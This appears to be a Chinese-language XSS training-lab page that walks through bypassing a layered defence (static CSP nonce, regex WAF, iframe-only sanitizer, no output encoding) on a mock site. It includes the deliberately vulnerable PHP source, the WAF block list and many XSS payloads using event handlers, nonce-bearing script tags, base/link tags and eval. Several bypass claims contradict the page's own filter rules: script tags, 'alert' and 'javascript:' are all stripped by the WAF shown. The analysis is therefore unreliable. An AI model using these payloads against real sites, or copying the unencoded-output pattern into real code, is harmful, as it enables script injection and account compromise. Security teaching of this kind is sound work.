◈ 渗透任务 终极渗透挑战 任务中
你的身份 「暗影安全公司」渗透测试工程师 目标网站 Fortress 安全防御系统 (fortress.example.com) 委托方 Fortress 声称已防御所有已知 XSS 攻击,部署了 CSP + WAF + 净化器的完整防御链 任务目标 综合运用所有技术,突破多层防御体系

◈ 教程:多层防御绕过

真实世界的防御链

在实际应用中,安全防御通常是多层叠加的。攻击者需要找到整个链条中最薄弱的环节。本关模拟了一个"全副武装"的目标,你需要逐层分析、逐一突破。

核心思想:防御链的强度取决于最弱的环节。即使部署了四层防御,只要其中一层存在缺陷,整个防线就可能被突破。

本关的四层防御

第 1 层:Content Security Policy
Content-Security-Policy: script-src 'self' 'nonce-abc123';

CSP 要求所有 <script> 标签必须带有合法的 nonce 属性。

弱点:nonce 是静态值,不会每次请求变化。攻击者可以从页面源码中获取 nonce。

第 2 层:WAF(Web 应用防火墙)
// WAF 过滤规则
<script     → 移除
alert       → 移除
onerror     → 移除
onload      → 移除
javascript: → 移除

弱点:过滤列表不完整。未覆盖 promptconfirmFunctioneval 等函数;未覆盖 <base><link><meta> 等标签。

第 3 层:HTML 净化器
// 移除部分危险标签
<iframe → 移除

弱点:只移除 <iframe>,未移除 <script>(已被 WAF 处理)、<base><link><object> 等。

第 4 层:输出编码
// 实际上没有编码!
echo $input;  // 直接输出

弱点:开发者认为 WAF 已经"足够安全",省略了输出编码。这是最根本的缺陷。

绕过策略分析

策略 A:利用泄漏的 nonce(最直接)
// nonce 是静态值 "abc123",可从源码获取
// 构造带合法 nonce 的 script 标签
<script nonce="abc123">prompt(1)</script>

// CSP 检查:nonce 匹配 → 允许执行
// WAF 检查:没有 "alert"、"onerror" → 通过
// 净化器:不是 iframe → 通过
// 编码:无 → 直接输出
策略 B:利用未过滤的标签
// WAF 未过滤 <base> 标签
<base href="javascript:prompt(1)//">

// WAF 未过滤 <link> 标签
<link rel="import" href="data:text/html,<script>prompt(1)</script>">
策略 C:利用未过滤的事件处理器
// WAF 只过滤 onerror 和 onload
// 但还有很多其他事件处理器
<details open ontoggle=prompt(1)></details>
<video src=x oncanplay=prompt(1)></video>
<audio src=x onplay=prompt(1)></audio>
<marquee onstart=prompt(1)></marquee>
<input onfocus=prompt(1) autofocus>
策略 D:利用 eval/Function
// WAF 过滤了 alert,但没过滤 Function 和 eval
<script nonce="abc123">new Function("alert(1)")()</script>
<script nonce="abc123">eval(atob("YWxlcnQoMSk="))</script>

多层绕过的思维框架

// 分析防御链的步骤
1. 识别每一层防御的类型和规则
2. 对每层防御列出已知绕过方法
3. 找到同时满足所有层的 payload
4. 如果找不到单一 payload,考虑链式绕过

// 常见防御弱点检查清单
□ CSP nonce 是否随机?
□ WAF 过滤是否完整?(事件、标签、函数)
□ 净化器是否覆盖所有危险元素?
□ 输出编码是否在正确的上下文执行?
□ 是否存在编码差异导致的绕过?

◈ 练习:终极挑战

目标:页面部署了四层防御(CSP + WAF + 净化器 + 编码)。找到突破口,注入可执行的 JavaScript 代码。目标函数不限于 alertprompt(1)confirm(1) 等均可。
◈ 防御链状态:
  • CSP:script-src 'self' 'nonce-abc123'静态 nonce
  • WAF:<script> / alert / onerror / onload / javascript:已过滤
  • 净化器:<iframe>已移除
  • 输出编码:无编码
重置
在上方输入框中输入 payload,点击"提交"查看防御处理结果...
◈ 查看漏洞源码 (PHP)
<?php // CSP with static nonce (weakness 1) $cspNonce = 'abc123'; header("Content-Security-Policy: script-src 'self' 'nonce-{$cspNonce}';"); $input = $_GET['input'] ?? ''; // WAF (weakness 2: incomplete filtering) $input = preg_replace('/<script\b/i', '', $input); $input = preg_replace('/alert/i', '', $input); $input = preg_replace('/onerror|onload/i', '', $input); $input = preg_replace('/javascript\s*:/i', '', $input); // Sanitizer (weakness 3: incomplete) $input = preg_replace('/<iframe/i', '', $input); // Output with no encoding (weakness 4) echo $input; ?>
◈ 防御绕过分析:
  • CSP nonce abc123静态值 — 可从页面源码获取
  • WAF 过滤 alert 但未过滤 promptconfirmFunction可绕过
  • WAF 过滤 onerror/onload 但未过滤 ontoggleonplayonfocus可绕过
  • WAF 未过滤 <base><link><meta> 标签 — 可利用
  • 净化器只移除 <iframe>覆盖不足
  • 无输出编码 — 最大弱点